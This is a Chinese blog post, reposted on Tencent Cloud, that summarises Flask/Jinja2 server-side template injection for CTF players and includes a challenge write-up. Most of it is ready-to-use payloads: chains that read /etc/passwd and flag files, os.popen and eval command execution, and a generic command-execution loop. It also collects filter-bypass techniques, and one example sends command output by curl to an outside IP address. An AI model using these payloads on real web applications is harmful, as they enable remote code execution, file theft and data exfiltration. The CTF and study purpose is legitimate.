前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ssti模板注入 命令执行_access注入绕过

ssti模板注入 命令执行_access注入绕过

作者头像
全栈程序员站长
发布2022-09-27 13:25:19
9900
发布2022-09-27 13:25:19
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

前言:​SSTI(服务端模板注入),已然不再是一个新话题,近年来的CTF中还是也经常能遇到的,比如护网杯的easy_tonado、TWCTF的Shrine,19年的SCTF也出了Ruby ERB SSTI的考点;本篇对这部分总结一下,方便未来做题和复习的时候查阅!也欢迎各路大佬在评论区指正或者放出自己的WP链接互相学习!

各框架模板结构:(网图)

在这里插入图片描述
在这里插入图片描述

前置知识

简介

首先​简单说一下什么是SSTI(Server-Side Template Injection);即模板注入,与我们熟知的SQL注入、命令注入等原理大同小异。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑; 漏洞成因在于:render_template函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{ {}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{ {}}包裹的内容当做变量解析替换。比如{ {1+1}}会被解析成2。

利用流程

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

常用函数

代码语言:javascript
复制
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

常见Payload

文件读取

代码语言:javascript
复制
# python3

{ 
   { 
   ().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}

# python2

{ 
   { 
   ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  

新发现的新利用(赶紧收集了)

代码语言:javascript
复制
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()

通用命令执行

代码语言:javascript
复制
{ 
   % for c in [].__class__.__base__.__subclasses__() %}
  { 
   % if c.__name__ == 'catch_warnings' %}
    { 
   % for b in c.__init__.__globals__.values() %}
      { 
   % if b.__class__ == { 
   }.__class__ %}
    	 { 
   % if 'eval' in b.keys() %}
      	 { 
   { 
    b['eval']('__import__("os").popen("id").read()') }}
   	   { 
   % endif %}
  	{ 
   % endif %}
   { 
   % endfor %}
  { 
   % endif %}
{ 
   % endfor %}

绕过姿势

过滤{ { 或者}}

可以使用{%绕过 {%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果

代码语言:javascript
复制
{ 
   % if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{ 
   % endif %}

过滤_

用编码绕过

代码语言:javascript
复制
比如:__class__ => \x5f\x5fclass\x5f\x5f

_\x5f.\x2E 过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过 但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过 例如''.__class__写成 ‘'|attr(request['values']['x1']),然后post传入x1=__class__

过滤.

.在payload中是很重要的,但是我们依旧可以采用attr()[]绕过

举例

  • 正常payload:
代码语言:javascript
复制
url?name={ 
   { 
   ().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`

使用attr()绕过:

代码语言:javascript
复制
{ 
   { 
   ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

使用[]绕过: 可以用getitem()用来获取序号

代码语言:javascript
复制
url?name={ 
   { 
    config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}

其他: ''.__class__可以写成 getattr('',"__class__")或者 ’'|attr("__class__")

过滤[]

可以用getitem()用来获取序号

代码语言:javascript
复制
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

利用请求方式requests绕过

  • 如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤__class__,可以用request.args.t1且以GET方式提交t1=__class__来替换被过滤的__class__

举例:

例一:

代码语言:javascript
复制
{ 
   { 
   ''.__class__}} => { 
   { 
   ''[request.args.t1]}}&t1=__class__

例二:

代码语言:javascript
复制
{ 
   { 
   ''.__class__}} => { 
   { 
   ''[request['args']['t1']]}}&t1=__class__

因为很重要再重复一遍!!!! 过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过 但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过 例如''.__class__写成 ‘'|attr(request['values']['x1']),然后post传入x1=__class__

绕过config参数

{ {config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{ {config['FLAG']}}或者{ {config.FLAG}}得到flag 但是如果被过滤了

代码语言:javascript
复制
{ 
   { 
   self}} ⇒ <TemplateReference None>
{ 
   { 
   self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

其他绕过姿势(来自P3师傅)

删除了很多模块,但是没有删除reload

代码语言:javascript
复制
reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2  

EASY前置

Flask在渲染模板的时候,有

"".__class__===""["__class__"]

这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。 由于里面的内容已经是字符串了,还可以做一个这样的变形

"".__class__===""["__cla"+"ss__"]

如果过滤了很多重要的参数呢?

python的格式化字符串特性

因为python的字符串格式化允许指定ascii码为字符 如果放到flask里,就可以改写成 "{0:c}"['format'](97) 测试一下没问题哈

在这里插入图片描述
在这里插入图片描述

那么__class__就可以变成

代码语言:javascript
复制
{ 
   { 
   ""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}

注意:+号要编码

WP部分

方法一

输入name=admin发现存在回显,猜测为模板注入,经过测试发现过滤了 . _和很多的关键字,我要吐了 使用 ().__class__.__base__.__subclasses__()[233].__init__.__globals__['builtins']['eval'](_import__("os").popen('想要执行的命令').read()) 分别看下相应重要的语句执行运行截图吧,熟悉一下

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

然后用ls /查看根目录,最后利用cat命令访问/fl4g文件cat /fl4g|base64

最终payload { {%22%22[%22\x5f\x5fclass\x5f\x5f%22][%22\x5F\x5Fbase\x5F\x5F%22][%22\x5F\x5Fsubclasses\x5F\x5F%22]()[233][%22\x5F\x5Finit\x5F\x5F%22][%22\x5F\x5Fglobals\x5F\x5F%22][%22\x5F\x5Fbuiltins\x5F\x5F%22][%27eval%27](%22\x5F\x5Fimport\x5F\x5F(%27os%27)%22)['popen']('cat /fl4g|base64')['read']()}} 得到flag

在这里插入图片描述
在这里插入图片描述

方法二

利用上面讲过的绕过构造 url?name={ { ()|attr(request['values']['x1'])|attr(request['values']['x2'])| attr(request['values']['x3'])()|attr(request['values']['x6'])(233)| attr(request['values']['x4'])| attr(request['values']['x5'])| attr(request['values']['x6'])(request['values']['x7'])| attr(request['values']['x6'])(request['values']['x8'])(request['values']['x9']) }} 然后post传入x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__getitem__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat /fl4g|base64‘).read()

方法三

利用Python语言特性上面说过自己翻但是这个Payload就太长了,我懒得写出来了

参考文章

其他一些比较详细知识可以阅读这几位师傅的文章 CTF SSTI(服务器模板注入) 利用Python字符串格式化特性绕过ssti过滤 SSTI/沙盒逃逸详细总结 SSTI Bypass 学习 (Python3&jinja2 利用Python字符串格式化特性绕过ssti过滤

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/189189.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 各框架模板结构:(网图)
  • 前置知识
    • 简介
      • 利用流程
        • 常用函数
        • 常见Payload
          • 文件读取
            • 通用命令执行
            • 绕过姿势
              • 过滤{ { 或者}}
                • 过滤_
                  • 过滤.
                    • 举例
                  • 过滤[]
                    • 利用请求方式requests绕过
                      • 举例:
                    • 绕过config参数
                      • 其他绕过姿势(来自P3师傅)
                        • 删除了很多模块,但是没有删除reload
                        • EASY前置
                        • python的格式化字符串特性
                    • WP部分
                      • 方法一
                        • 方法二
                          • 方法三
                          • 参考文章
                          领券
                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档